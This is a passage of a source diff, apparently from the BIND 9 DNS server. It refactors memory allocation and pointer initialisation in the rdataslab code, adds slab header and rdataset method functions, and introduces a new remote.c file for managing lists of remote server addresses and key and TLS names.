 	for (i = 0, j = 0; i < length; i++) {
 		if (offsettable[i] == 0) {
@@ -118,20 +182,18 @@ dns_rdataslab_fromrdataset(dns_rdataset_t *rdataset, isc_mem_t *mctx,
 	 * rdata as rdata.data == NULL is valid.
 	 */
 	static unsigned char removed;
-	struct xrdata *x;
-	unsigned char *rawbuf;
-#if DNS_RDATASET_FIXED
-	unsigned char *offsetbase;
-#endif /* if DNS_RDATASET_FIXED */
+	struct xrdata *x = NULL;
+	unsigned char *rawbuf = NULL;
 	unsigned int buflen;
 	isc_result_t result;
 	unsigned int nitems;
 	unsigned int nalloc;
+	unsigned int length;
 	unsigned int i;
 #if DNS_RDATASET_FIXED
-	unsigned int *offsettable;
+	unsigned char *offsetbase = NULL;
+	unsigned int *offsettable = NULL;
 #endif /* if DNS_RDATASET_FIXED */
-	unsigned int length;
 
 	buflen = reservelen + 2;
 
@@ -162,7 +224,7 @@ dns_rdataslab_fromrdataset(dns_rdataset_t *rdataset, isc_mem_t *mctx,
 	 * Remember the original number of items.
 	 */
 	nalloc = nitems;
-	x = isc_mem_get(mctx, nalloc * sizeof(struct xrdata));
+	x = isc_mem_cget(mctx, nalloc, sizeof(struct xrdata));
 
 	/*
 	 * Save all of the rdata members into an array.
@@ -267,18 +329,16 @@ dns_rdataslab_fromrdataset(dns_rdataset_t *rdataset, isc_mem_t *mctx,
 	 * Allocate the memory, set up a buffer, start copying in
 	 * data.
 	 */
-	rawbuf = isc_mem_get(mctx, buflen);
+	rawbuf = isc_mem_cget(mctx, 1, buflen);
 
 #if DNS_RDATASET_FIXED
 	/* Allocate temporary offset table. */
-	offsettable = isc_mem_get(mctx, nalloc * sizeof(unsigned int));
-	memset(offsettable, 0, nalloc * sizeof(unsigned int));
+	offsettable = isc_mem_cget(mctx, nalloc, sizeof(unsigned int));
 #endif /* if DNS_RDATASET_FIXED */
 
 	region->base = rawbuf;
 	region->length = buflen;
 
-	memset(rawbuf, 0, buflen);
 	rawbuf += reservelen;
 
 #if DNS_RDATASET_FIXED
@@ -324,20 +384,20 @@ dns_rdataslab_fromrdataset(dns_rdataset_t *rdataset, isc_mem_t *mctx,
 
 #if DNS_RDATASET_FIXED
 	fillin_offsets(offsetbase, offsettable, nalloc);
-	isc_mem_put(mctx, offsettable, nalloc * sizeof(unsigned int));
+	isc_mem_cput(mctx, offsettable, nalloc, sizeof(unsigned int));
 #endif /* if DNS_RDATASET_FIXED */
 
 	result = ISC_R_SUCCESS;
 
 free_rdatas:
-	isc_mem_put(mctx, x, nalloc * sizeof(struct xrdata));
+	isc_mem_cput(mctx, x, nalloc, sizeof(struct xrdata));
 	return (result);
 }
 
 unsigned int
 dns_rdataslab_size(unsigned char *slab, unsigned int reservelen) {
 	unsigned int count, length;
-	unsigned char *current;
+	unsigned char *current = NULL;
 
 	REQUIRE(slab != NULL);
 
@@ -364,7 +424,7 @@ dns_rdataslab_size(unsigned char *slab, unsigned int reservelen) {
 unsigned int
 dns_rdataslab_rdatasize(unsigned char *slab, unsigned int reservelen) {
 	unsigned int count, length, rdatalen = 0;
-	unsigned char *current;
+	unsigned char *current = NULL;
 
 	REQUIRE(slab != NULL);
 
@@ -392,7 +452,7 @@ dns_rdataslab_rdatasize(unsigned char *slab, unsigned int reservelen) {
 unsigned int
 dns_rdataslab_count(unsigned char *slab, unsigned int reservelen) {
 	unsigned int count;
-	unsigned char *current;
+	unsigned char *current = NULL;
 
 	REQUIRE(slab != NULL);
 
@@ -408,7 +468,7 @@ dns_rdataslab_count(unsigned char *slab, unsigned int reservelen) {
  * 'type' and class 'rdclass', and advance '*current' to
  * point to the next item in the slab.
  */
-static inline void
+static void
 rdata_from_slab(unsigned char **current, dns_rdataclass_t rdclass,
 		dns_rdatatype_t type, dns_rdata_t *rdata) {
 	unsigned char *tcurrent = *current;
@@ -444,12 +504,12 @@ rdata_from_slab(unsigned char **current, dns_rdataclass_t rdclass,
  * contains an rdata identical to 'rdata'.  This does case insensitive
  * comparisons per DNSSEC.
  */
-static inline bool
+static bool
 rdata_in_slab(unsigned char *slab, unsigned int reservelen,
 	      dns_rdataclass_t rdclass, dns_rdatatype_t type,
 	      dns_rdata_t *rdata) {
 	unsigned int count, i;
-	unsigned char *current;
+	unsigned char *current = NULL;
 	dns_rdata_t trdata = DNS_RDATA_INIT;
 	int n;
 
@@ -481,7 +541,8 @@ dns_rdataslab_merge(unsigned char *oslab, unsigned char *nslab,
 		    unsigned int reservelen, isc_mem_t *mctx,
 		    dns_rdataclass_t rdclass, dns_rdatatype_t type,
 		    unsigned int flags, unsigned char **tslabp) {
-	unsigned char *ocurrent, *ostart, *ncurrent, *tstart, *tcurrent, *data;
+	unsigned char *ocurrent = NULL, *ostart = NULL, *ncurrent = NULL;
+	unsigned char *tstart = NULL, *tcurrent = NULL, *data = NULL;
 	unsigned int ocount, ncount, count, olength, tlength, tcount, length;
 	dns_rdata_t ordata = DNS_RDATA_INIT;
 	dns_rdata_t nrdata = DNS_RDATA_INIT;
@@ -493,8 +554,8 @@ dns_rdataslab_merge(unsigned char *oslab, unsigned char *nslab,
 	unsigned int oncount;
 	unsigned int norder = 0;
 	unsigned int oorder = 0;
-	unsigned char *offsetbase;
-	unsigned int *offsettable;
+	unsigned char *offsetbase = NULL;
+	unsigned int *offsettable = NULL;
 #endif /* if DNS_RDATASET_FIXED */
 
 	/*
@@ -623,9 +684,8 @@ dns_rdataslab_merge(unsigned char *oslab, unsigned char *nslab,
 	 */
 	tcurrent += (tcount * 4);
 
-	offsettable = isc_mem_get(mctx,
-				  (ocount + oncount) * sizeof(unsigned int));
-	memset(offsettable, 0, (ocount + oncount) * sizeof(unsigned int));
+	offsettable = isc_mem_cget(mctx, (ocount + oncount),
+				   sizeof(unsigned int));
 #endif /* if DNS_RDATASET_FIXED */
 
 	/*
@@ -730,8 +790,8 @@ dns_rdataslab_merge(unsigned char *oslab, unsigned char *nslab,
 #if DNS_RDATASET_FIXED
 	fillin_offsets(offsetbase, offsettable, ocount + oncount);
 
-	isc_mem_put(mctx, offsettable,
-		    (ocount + oncount) * sizeof(unsigned int));
+	isc_mem_cput(mctx, offsettable, (ocount + oncount),
+		     sizeof(unsigned int));
 #endif /* if DNS_RDATASET_FIXED */
 
 	INSIST(tcurrent == tstart + tlength);
@@ -746,13 +806,14 @@ dns_rdataslab_subtract(unsigned char *mslab, unsigned char *sslab,
 		       unsigned int reservelen, isc_mem_t *mctx,
 		       dns_rdataclass_t rdclass, dns_rdatatype_t type,
 		       unsigned int flags, unsigned char **tslabp) {
-	unsigned char *mcurrent, *sstart, *scurrent, *tstart, *tcurrent;
+	unsigned char *mcurrent = NULL, *sstart = NULL, *scurrent = NULL;
+	unsigned char *tstart = NULL, *tcurrent = NULL;
 	unsigned int mcount, scount, rcount, count, tlength, tcount, i;
 	dns_rdata_t srdata = DNS_RDATA_INIT;
 	dns_rdata_t mrdata = DNS_RDATA_INIT;
 #if DNS_RDATASET_FIXED
-	unsigned char *offsetbase;
-	unsigned int *offsettable;
+	unsigned char *offsetbase = NULL;
+	unsigned int *offsettable = NULL;
 	unsigned int order;
 #endif /* if DNS_RDATASET_FIXED */
 
@@ -847,8 +908,7 @@ dns_rdataslab_subtract(unsigned char *mslab, unsigned char *sslab,
 #if DNS_RDATASET_FIXED
 	offsetbase = tcurrent;
 
-	offsettable = isc_mem_get(mctx, mcount * sizeof(unsigned int));
-	memset(offsettable, 0, mcount * sizeof(unsigned int));
+	offsettable = isc_mem_cget(mctx, mcount, sizeof(unsigned int));
 #endif /* if DNS_RDATASET_FIXED */
 
 	/*
@@ -904,7 +964,7 @@ dns_rdataslab_subtract(unsigned char *mslab, unsigned char *sslab,
 #if DNS_RDATASET_FIXED
 	fillin_offsets(offsetbase, offsettable, mcount);
 
-	isc_mem_put(mctx, offsettable, mcount * sizeof(unsigned int));
+	isc_mem_cput(mctx, offsettable, mcount, sizeof(unsigned int));
 #endif /* if DNS_RDATASET_FIXED */
 
 	INSIST(tcurrent == tstart + tlength);
@@ -917,7 +977,7 @@ dns_rdataslab_subtract(unsigned char *mslab, unsigned char *sslab,
 bool
 dns_rdataslab_equal(unsigned char *slab1, unsigned char *slab2,
 		    unsigned int reservelen) {
-	unsigned char *current1, *current2;
+	unsigned char *current1 = NULL, *current2 = NULL;
 	unsigned int count1, count2;
 	unsigned int length1, length2;
 
@@ -951,7 +1011,8 @@ dns_rdataslab_equal(unsigned char *slab1, unsigned char *slab2,
 #endif /* if DNS_RDATASET_FIXED */
 
 		if (length1 != length2 ||
-		    memcmp(current1, current2, length1) != 0) {
+		    memcmp(current1, current2, length1) != 0)
+		{
 			return (false);
 		}
 
@@ -967,7 +1028,7 @@ bool
 dns_rdataslab_equalx(unsigned char *slab1, unsigned char *slab2,
 		     unsigned int reservelen, dns_rdataclass_t rdclass,
 		     dns_rdatatype_t type) {
-	unsigned char *current1, *current2;
+	unsigned char *current1 = NULL, *current2 = NULL;
 	unsigned int count1, count2;
 	dns_rdata_t rdata1 = DNS_RDATA_INIT;
 	dns_rdata_t rdata2 = DNS_RDATA_INIT;
@@ -1000,3 +1061,441 @@ dns_rdataslab_equalx(unsigned char *slab1, unsigned char *slab2,
 	}
 	return (true);
 }
+
+dns_slabheader_t *
+dns_slabheader_fromrdataset(const dns_rdataset_t *rdataset) {
+	dns_slabheader_t *header = (dns_slabheader_t *)rdataset->slab.raw;
+	return (header - 1);
+}
+
+void *
+dns_slabheader_raw(dns_slabheader_t *header) {
+	return (header + 1);
+}
+
+void
+dns_slabheader_setownercase(dns_slabheader_t *header, const dns_name_t *name) {
+	unsigned int i;
+	bool fully_lower;
+
+	/*
+	 * We do not need to worry about label lengths as they are all
+	 * less than or equal to 63.
+	 */
+	memset(header->upper, 0, sizeof(header->upper));
+	fully_lower = true;
+	for (i = 0; i < name->length; i++) {
+		if (isupper(name->ndata[i])) {
+			header->upper[i / 8] |= 1 << (i % 8);
+			fully_lower = false;
+		}
+	}
+	DNS_SLABHEADER_SETATTR(header, DNS_SLABHEADERATTR_CASESET);
+	if (fully_lower) {
+		DNS_SLABHEADER_SETATTR(header,
+				       DNS_SLABHEADERATTR_CASEFULLYLOWER);
+	}
+}
+
+void
+dns_slabheader_copycase(dns_slabheader_t *dest, dns_slabheader_t *src) {
+	if (CASESET(src)) {
+		uint_least16_t attr = DNS_SLABHEADER_GETATTR(
+			src, (DNS_SLABHEADERATTR_CASESET |
+			      DNS_SLABHEADERATTR_CASEFULLYLOWER));
+		DNS_SLABHEADER_SETATTR(dest, attr);
+		memmove(dest->upper, src->upper, sizeof(src->upper));
+	}
+}
+
+void
+dns_slabheader_reset(dns_slabheader_t *h, dns_db_t *db, dns_dbnode_t *node) {
+	ISC_LINK_INIT(h, link);
+	h->heap_index = 0;
+	h->heap = NULL;
+	h->glue_list = NULL;
+	h->db = db;
+	h->node = node;
+
+	atomic_init(&h->attributes, 0);
+	atomic_init(&h->last_refresh_fail_ts, 0);
+
+	cds_wfs_node_init(&h->wfs_node);
+
+	STATIC_ASSERT((sizeof(h->attributes) == 2),
+		      "The .attributes field of dns_slabheader_t needs to be "
+		      "16-bit int type exactly.");
+}
+
+dns_slabheader_t *
+dns_slabheader_new(dns_db_t *db, dns_dbnode_t *node) {
+	dns_slabheader_t *h = NULL;
+
+	h = isc_mem_get(db->mctx, sizeof(*h));
+	*h = (dns_slabheader_t){
+		.link = ISC_LINK_INITIALIZER,
+	};
+	dns_slabheader_reset(h, db, node);
+	return (h);
+}
+
+void
+dns_slabheader_destroy(dns_slabheader_t **headerp) {
+	unsigned int size;
+	dns_slabheader_t *header = *headerp;
+
+	*headerp = NULL;
+
+	isc_mem_t *mctx = header->db->mctx;
+
+	dns_db_deletedata(header->db, header->node, header);
+
+	if (NONEXISTENT(header)) {
+		size = sizeof(*header);
+	} else {
+		size = dns_rdataslab_size((unsigned char *)header,
+					  sizeof(*header));
+	}
+
+	isc_mem_put(mctx, header, size);
+}
+
+dns_rdatasetmethods_t dns_rdataslab_rdatasetmethods = {
+	.disassociate = rdataset_disassociate,
+	.first = rdataset_first,
+	.next = rdataset_next,
+	.current = rdataset_current,
+	.clone = rdataset_clone,
+	.count = rdataset_count,
+	.getnoqname = rdataset_getnoqname,
+	.getclosest = rdataset_getclosest,
+	.settrust = rdataset_settrust,
+	.expire = rdataset_expire,
+	.clearprefetch = rdataset_clearprefetch,
+	.setownercase = rdataset_setownercase,
+	.getownercase = rdataset_getownercase,
+};
+
+/* Fixed RRSet helper macros */
+
+#define DNS_RDATASET_LENGTH 2;
+
+#if DNS_RDATASET_FIXED
+#define DNS_RDATASET_ORDER 2
+#define DNS_RDATASET_COUNT (count * 4)
+#else /* !DNS_RDATASET_FIXED */
+#define DNS_RDATASET_ORDER 0
+#define DNS_RDATASET_COUNT 0
+#endif /* DNS_RDATASET_FIXED */
+
+static void
+rdataset_disassociate(dns_rdataset_t *rdataset DNS__DB_FLARG) {
+	dns_db_t *db = rdataset->slab.db;
+	dns_dbnode_t *node = rdataset->slab.node;
+
+	dns__db_detachnode(db, &node DNS__DB_FLARG_PASS);
+}
+
+static isc_result_t
+rdataset_first(dns_rdataset_t *rdataset) {
+	unsigned char *raw = NULL;
+	unsigned int count;
+
+	raw = rdataset->slab.raw;
+	count = raw[0] * 256 + raw[1];
+	if (count == 0) {
+		rdataset->slab.iter_pos = NULL;
+		rdataset->slab.iter_count = 0;
+		return (ISC_R_NOMORE);
+	}
+
+	if ((rdataset->attributes & DNS_RDATASETATTR_LOADORDER) == 0) {
+		raw += DNS_RDATASET_COUNT;
+	}
+
+	/*
+	 * iter_count is the number of rdata beyond the cursor
+	 * position, so we decrement the total count by one before
+	 * storing it.
+	 *
+	 * If DNS_RDATASETATTR_LOADORDER is not set 'raw' points to the
+	 * first record.  If DNS_RDATASETATTR_LOADORDER is set 'raw' points
+	 * to the first entry in the offset table.
+	 */
+	rdataset->slab.iter_pos = raw + DNS_RDATASET_LENGTH;
+	rdataset->slab.iter_count = count - 1;
+
+	return (ISC_R_SUCCESS);
+}
+
+static isc_result_t
+rdataset_next(dns_rdataset_t *rdataset) {
+	unsigned int count;
+	unsigned int length;
+	unsigned char *raw = NULL;
+
+	count = rdataset->slab.iter_count;
+	if (count == 0) {
+		rdataset->slab.iter_pos = NULL;
+		return (ISC_R_NOMORE);
+	}
+	rdataset->slab.iter_count = count - 1;
+
+	/*
+	 * Skip forward one record (length + 4) or one offset (4).
+	 */
+	raw = rdataset->slab.iter_pos;
+#if DNS_RDATASET_FIXED
+	if ((rdataset->attributes & DNS_RDATASETATTR_LOADORDER) == 0)
+#endif /* DNS_RDATASET_FIXED */
+	{
+		length = raw[0] * 256 + raw[1];
+		raw += length;
+	}
+	rdataset->slab.iter_pos = raw + DNS_RDATASET_ORDER +
+				  DNS_RDATASET_LENGTH;
+
+	return (ISC_R_SUCCESS);
+}
+
+static void
+rdataset_current(dns_rdataset_t *rdataset, dns_rdata_t *rdata) {
+	unsigned char *raw = NULL;
+	unsigned int length;
+	isc_region_t r;
+	unsigned int flags = 0;
+
+	raw = rdataset->slab.iter_pos;
+	REQUIRE(raw != NULL);
+
+	/*
+	 * Find the start of the record if not already in iter_pos
+	 * then skip the length and order fields.
+	 */
+#if DNS_RDATASET_FIXED
+	if ((rdataset->attributes & DNS_RDATASETATTR_LOADORDER) != 0) {
+		unsigned int offset;
+		offset = ((unsigned int)raw[0] << 24) +
+			 ((unsigned int)raw[1] << 16) +
+			 ((unsigned int)raw[2] << 8) + (unsigned int)raw[3];
+		raw = rdataset->slab.raw + offset;
+	}
+#endif /* if DNS_RDATASET_FIXED */
+
+	length = raw[0] * 256 + raw[1];
+
+	raw += DNS_RDATASET_ORDER + DNS_RDATASET_LENGTH;
+
+	if (rdataset->type == dns_rdatatype_rrsig) {
+		if (*raw & DNS_RDATASLAB_OFFLINE) {
+			flags |= DNS_RDATA_OFFLINE;
+		}
+		length--;
+		raw++;
+	}
+	r.length = length;
+	r.base = raw;
+	dns_rdata_fromregion(rdata, rdataset->rdclass, rdataset->type, &r);
+	rdata->flags |= flags;
+}
+
+static void
+rdataset_clone(dns_rdataset_t *source, dns_rdataset_t *target DNS__DB_FLARG) {
+	dns_db_t *db = source->slab.db;
+	dns_dbnode_t *node = source->slab.node;
+	dns_dbnode_t *cloned_node = NULL;
+
+	dns__db_attachnode(db, node, &cloned_node DNS__DB_FLARG_PASS);
+	INSIST(!ISC_LINK_LINKED(target, link));
+	*target = *source;
+	ISC_LINK_INIT(target, link);
+
+	target->slab.iter_pos = NULL;
+	target->slab.iter_count = 0;
+}
+
+static unsigned int
+rdataset_count(dns_rdataset_t *rdataset) {
+	unsigned char *raw = NULL;
+	unsigned int count;
+
+	raw = rdataset->slab.raw;
+	count = raw[0] * 256 + raw[1];
+
+	return (count);
+}
+
+static isc_result_t
+rdataset_getnoqname(dns_rdataset_t *rdataset, dns_name_t *name,
+		    dns_rdataset_t *nsec,
+		    dns_rdataset_t *nsecsig DNS__DB_FLARG) {
+	dns_db_t *db = rdataset->slab.db;
+	dns_dbnode_t *node = rdataset->slab.node;
+	const dns_proof_t *noqname = rdataset->slab.noqname;
+
+	/*
+	 * Usually, rdataset->slab.raw refers the data following a
+	 * dns_slabheader, but in this case it points to a bare
+	 * rdataslab belonging to the dns_slabheader's `noqname` field.
+	 * The DNS_RDATASETATTR_KEEPCASE attribute is set to prevent
+	 * setownercase and getownercase methods from affecting the
+	 * case of NSEC/NSEC3 owner names.
+	 */
+	dns__db_attachnode(db, node,
+			   &(dns_dbnode_t *){ NULL } DNS__DB_FLARG_PASS);
+	*nsec = (dns_rdataset_t){
+		.methods = &dns_rdataslab_rdatasetmethods,
+		.rdclass = db->rdclass,
+		.type = noqname->type,
+		.ttl = rdataset->ttl,
+		.trust = rdataset->trust,
+		.slab.db = db,
+		.slab.node = node,
+		.slab.raw = noqname->neg,
+		.link = nsec->link,
+		.count = nsec->count,
+		.attributes = nsec->attributes | DNS_RDATASETATTR_KEEPCASE,
+		.magic = nsec->magic,
+	};
+
+	dns__db_attachnode(db, node,
+			   &(dns_dbnode_t *){ NULL } DNS__DB_FLARG_PASS);
+	*nsecsig = (dns_rdataset_t){
+		.methods = &dns_rdataslab_rdatasetmethods,
+		.rdclass = db->rdclass,
+		.type = dns_rdatatype_rrsig,
+		.covers = noqname->type,
+		.ttl = rdataset->ttl,
+		.trust = rdataset->trust,
+		.slab.db = db,
+		.slab.node = node,
+		.slab.raw = noqname->negsig,
+		.link = nsecsig->link,
+		.count = nsecsig->count,
+		.attributes = nsecsig->attributes | DNS_RDATASETATTR_KEEPCASE,
+		.magic = nsecsig->magic,
+	};
+
+	dns_name_clone(&noqname->name, name);
+
+	return (ISC_R_SUCCESS);
+}
+
+static isc_result_t
+rdataset_getclosest(dns_rdataset_t *rdataset, dns_name_t *name,
+		    dns_rdataset_t *nsec,
+		    dns_rdataset_t *nsecsig DNS__DB_FLARG) {
+	dns_db_t *db = rdataset->slab.db;
+	dns_dbnode_t *node = rdataset->slab.node;
+	const dns_proof_t *closest = rdataset->slab.closest;
+
+	/*
+	 * As mentioned above, rdataset->slab.raw usually refers the data
+	 * following an dns_slabheader, but in this case it points to a bare
+	 * rdataslab belonging to the dns_slabheader's `closest` field.
+	 */
+	dns__db_attachnode(db, node,
+			   &(dns_dbnode_t *){ NULL } DNS__DB_FLARG_PASS);
+	*nsec = (dns_rdataset_t){
+		.methods = &dns_rdataslab_rdatasetmethods,
+		.rdclass = db->rdclass,
+		.type = closest->type,
+		.ttl = rdataset->ttl,
+		.trust = rdataset->trust,
+		.slab.db = db,
+		.slab.node = node,
+		.slab.raw = closest->neg,
+		.link = nsec->link,
+		.count = nsec->count,
+		.attributes = nsec->attributes | DNS_RDATASETATTR_KEEPCASE,
+		.magic = nsec->magic,
+	};
+
+	dns__db_attachnode(db, node,
+			   &(dns_dbnode_t *){ NULL } DNS__DB_FLARG_PASS);
+	*nsecsig = (dns_rdataset_t){
+		.methods = &dns_rdataslab_rdatasetmethods,
+		.rdclass = db->rdclass,
+		.type = dns_rdatatype_rrsig,
+		.covers = closest->type,
+		.ttl = rdataset->ttl,
+		.trust = rdataset->trust,
+		.slab.db = db,
+		.slab.node = node,
+		.slab.raw = closest->negsig,
+		.link = nsecsig->link,
+		.count = nsecsig->count,
+		.attributes = nsecsig->attributes | DNS_RDATASETATTR_KEEPCASE,
+		.magic = nsecsig->magic,
+	};
+
+	dns_name_clone(&closest->name, name);
+
+	return (ISC_R_SUCCESS);
+}
+
+static void
+rdataset_settrust(dns_rdataset_t *rdataset, dns_trust_t trust) {
+	dns_slabheader_t *header = dns_slabheader_fromrdataset(rdataset);
+
+	dns_db_locknode(header->db, header->node, isc_rwlocktype_write);
+	header->trust = rdataset->trust = trust;
+	dns_db_unlocknode(header->db, header->node, isc_rwlocktype_write);
+}
+
+static void
+rdataset_expire(dns_rdataset_t *rdataset DNS__DB_FLARG) {
+	dns_slabheader_t *header = dns_slabheader_fromrdataset(rdataset);
+
+	dns_db_expiredata(header->db, header->node, header);
+}
+
+static void
+rdataset_clearprefetch(dns_rdataset_t *rdataset) {
+	dns_slabheader_t *header = dns_slabheader_fromrdataset(rdataset);
+
+	dns_db_locknode(header->db, header->node, isc_rwlocktype_write);
+	DNS_SLABHEADER_CLRATTR(header, DNS_SLABHEADERATTR_PREFETCH);
+	dns_db_unlocknode(header->db, header->node, isc_rwlocktype_write);
+}
+
+static void
+rdataset_setownercase(dns_rdataset_t *rdataset, const dns_name_t *name) {
+	dns_slabheader_t *header = dns_slabheader_fromrdataset(rdataset);
+
+	dns_db_locknode(header->db, header->node, isc_rwlocktype_write);
+	dns_slabheader_setownercase(header, name);
+	dns_db_unlocknode(header->db, header->node, isc_rwlocktype_write);
+}
+
+static void
+rdataset_getownercase(const dns_rdataset_t *rdataset, dns_name_t *name) {
+	dns_slabheader_t *header = dns_slabheader_fromrdataset(rdataset);
+	uint8_t mask = (1 << 7);
+	uint8_t bits = 0;
+
+	dns_db_locknode(header->db, header->node, isc_rwlocktype_read);
+
+	if (!CASESET(header)) {
+		goto unlock;
+	}
+
+	if (CASEFULLYLOWER(header)) {
+		isc_ascii_lowercopy(name->ndata, name->ndata, name->length);
+	} else {
+		uint8_t *nd = name->ndata;
+		for (size_t i = 0; i < name->length; i++) {
+			if (mask == (1 << 7)) {
+				bits = header->upper[i / 8];
+				mask = 1;
+			} else {
+				mask <<= 1;
+			}
+			nd[i] = (bits & mask) ? isc_ascii_toupper(nd[i])
+					      : isc_ascii_tolower(nd[i]);
+		}
+	}
+
+unlock:
+	dns_db_unlocknode(header->db, header->node, isc_rwlocktype_read);
+}
diff --git a/lib/dns/remote.c b/lib/dns/remote.c
new file mode 100644
index 0000000000..7c44904ea4
--- /dev/null
+++ b/lib/dns/remote.c
@@ -0,0 +1,372 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+/*! \file */
+
+#include <stdbool.h>
+#include <string.h>
+
+#include <isc/result.h>
+#include <isc/sockaddr.h>
+#include <isc/types.h>
+#include <isc/util.h>
+
+#include <dns/name.h>
+#include <dns/remote.h>
+#include <dns/types.h>
+
+isc_sockaddr_t *
+dns_remote_addresses(dns_remote_t *remote) {
+	REQUIRE(DNS_REMOTE_VALID(remote));
+	return (remote->addresses);
+}
+
+isc_sockaddr_t *
+dns_remote_sources(dns_remote_t *remote) {
+	REQUIRE(DNS_REMOTE_VALID(remote));
+	return (remote->sources);
+}
+
+unsigned int
+dns_remote_count(dns_remote_t *remote) {
+	REQUIRE(DNS_REMOTE_VALID(remote));
+	return (remote->addrcnt);
+}
+
+dns_name_t **
+dns_remote_keynames(dns_remote_t *remote) {
+	REQUIRE(DNS_REMOTE_VALID(remote));
+	return (remote->keynames);
+}
+
+dns_name_t **
+dns_remote_tlsnames(dns_remote_t *remote) {
+	REQUIRE(DNS_REMOTE_VALID(remote));
+	return (remote->tlsnames);
+}
+
+void
+dns_remote_init(dns_remote_t *remote, unsigned int count,
+		const isc_sockaddr_t *addrs, const isc_sockaddr_t *srcs,
+		dns_name_t **keynames, dns_name_t **tlsnames, bool mark,
+		isc_mem_t *mctx) {
+	unsigned int i;
+
+	REQUIRE(DNS_REMOTE_VALID(remote));
+	REQUIRE(count == 0 || addrs != NULL);
+
+	if (keynames != NULL || tlsnames != NULL) {
+		REQUIRE(count != 0);
+	}
+
+	remote->mctx = mctx;
+
+	if (addrs != NULL) {
+		remote->addresses = isc_mem_cget(mctx, count,
+						 sizeof(isc_sockaddr_t));
+		memmove(remote->addresses, addrs,
+			count * sizeof(isc_sockaddr_t));
+	} else {
+		remote->addresses = NULL;
+	}
+
+	if (srcs != NULL) {
+		remote->sources = isc_mem_cget(mctx, count,
+					       sizeof(isc_sockaddr_t));
+		memmove(remote->sources, srcs, count * sizeof(isc_sockaddr_t));
+	} else {
+		remote->sources = NULL;
+	}
+
+	if (keynames != NULL) {
+		remote->keynames = isc_mem_cget(mctx, count,
+						sizeof(keynames[0]));
+		for (i = 0; i < count; i++) {
+			remote->keynames[i] = NULL;
+		}
+		for (i = 0; i < count; i++) {
+			if (keynames[i] != NULL) {
+				remote->keynames[i] =
+					isc_mem_get(mctx, sizeof(dns_name_t));
+				dns_name_init(remote->keynames[i], NULL);
+				dns_name_dup(keynames[i], mctx,
+					     remote->keynames[i]);
+			}
+		}
+	} else {
+		remote->keynames = NULL;
+	}
+
+	if (tlsnames != NULL) {
+		remote->tlsnames = isc_mem_cget(mctx, count,
+						sizeof(tlsnames[0]));
+		for (i = 0; i < count; i++) {
+			remote->tlsnames[i] = NULL;
+		}
+		for (i = 0; i < count; i++) {
+			if (tlsnames[i] != NULL) {
+				remote->tlsnames[i] =
+					isc_mem_get(mctx, sizeof(dns_name_t));
+				dns_name_init(remote->tlsnames[i], NULL);
+				dns_name_dup(tlsnames[i], mctx,
+					     remote->tlsnames[i]);
+			}
+		}
+	} else {
+		remote->tlsnames = NULL;
+	}
+
+	if (mark) {
+		remote->ok = isc_mem_cget(mctx, count, sizeof(bool));
+		for (i = 0; i < count; i++) {
+			remote->ok[i] = false;
+		}
+	} else {
+		remote->ok = NULL;
+	}
+
+	remote->addrcnt = count;
+	remote->curraddr = 0;
+}
+
+static bool
+same_addrs(isc_sockaddr_t const *oldlist, isc_sockaddr_t const *newlist,
+	   uint32_t count) {
+	unsigned int i;
+
+	if (oldlist == NULL && newlist == NULL) {
+		return (true);
+	}
+	if (oldlist == NULL || newlist == NULL) {
+		return (false);
+	}
+
+	for (i = 0; i < count; i++) {
+		if (!isc_sockaddr_equal(&oldlist[i], &newlist[i])) {
+			return (false);
+		}
+	}
+	return (true);
+}
+
+static bool
+same_names(dns_name_t *const *oldlist, dns_name_t *const *newlist,
+	   uint32_t count) {
+	unsigned int i;
+
+	if (oldlist == NULL && newlist == NULL) {
+		return (true);
+	}
+	if (oldlist == NULL || newlist == NULL) {
+		return (false);
+	}
+
+	for (i = 0; i < count; i++) {
+		if (oldlist[i] == NULL && newlist[i] == NULL) {
+			continue;
+		}
+		if (oldlist[i] == NULL || newlist[i] == NULL ||
+		    !dns_name_equal(oldlist[i], newlist[i]))
+		{
+			return (false);
+		}
+	}
+	return (true);
+}
+
+void
+dns_remote_clear(dns_remote_t *remote) {
+	unsigned int count;
+	isc_mem_t *mctx;
+
+	REQUIRE(DNS_REMOTE_VALID(remote));
+
+	count = remote->addrcnt;
+	mctx = remote->mctx;
+
+	if (mctx == NULL) {
+		return;
+	}
+
+	if (remote->ok != NULL) {
+		isc_mem_cput(mctx, remote->ok, count, sizeof(bool));
+		remote->ok = NULL;
+	}
+
+	if (remote->addresses != NULL) {
+		isc_mem_cput(mctx, remote->addresses, count,
+			     sizeof(isc_sockaddr_t));
+		remote->addresses = NULL;
+	}
+
+	if (remote->sources != NULL) {
+		isc_mem_cput(mctx, remote->sources, count,
+			     sizeof(isc_sockaddr_t));
+		remote->sources = NULL;
+	}
+
+	if (remote->keynames != NULL) {
+		unsigned int i;
+		for (i = 0; i < count; i++) {
+			if (remote->keynames[i] != NULL) {
+				dns_name_free(remote->keynames[i], mctx);
+				isc_mem_put(mctx, remote->keynames[i],
+					    sizeof(dns_name_t));
+				remote->keynames[i] = NULL;
+			}
+		}
+		isc_mem_cput(mctx, remote->keynames, count,
+			     sizeof(dns_name_t *));
+		remote->keynames = NULL;
+	}
+
+	if (remote->tlsnames != NULL) {
+		unsigned int i;
+		for (i = 0; i < count; i++) {
+			if (remote->tlsnames[i] != NULL) {
+				dns_name_free(remote->tlsnames[i], mctx);
+				isc_mem_put(mctx, remote->tlsnames[i],
+					    sizeof(dns_name_t));
+				remote->tlsnames[i] = NULL;
+			}
+		}
+		isc_mem_cput(mctx, remote->tlsnames, count,
+			     sizeof(dns_name_t *));
+		remote->tlsnames = NULL;
+	}
+
+	remote->curraddr = 0;
+	remote->addrcnt = 0;
+	remote->mctx = NULL;
+}
+
+bool
+dns_remote_equal(dns_remote_t *a, dns_remote_t *b) {
+	REQUIRE(DNS_REMOTE_VALID(a));
+	REQUIRE(DNS_REMOTE_VALID(b));
+
+	if (a->addrcnt != b->addrcnt) {
+		return (false);
+	}
+
+	if (!same_addrs(a->addresses, b->addresses, a->addrcnt)) {
+		return (false);
+	}
+	if (!same_names(a->keynames, b->keynames, a->addrcnt)) {
+		return (false);
+	}
+	if (!same_names(a->tlsnames, b->tlsnames, a->addrcnt)) {
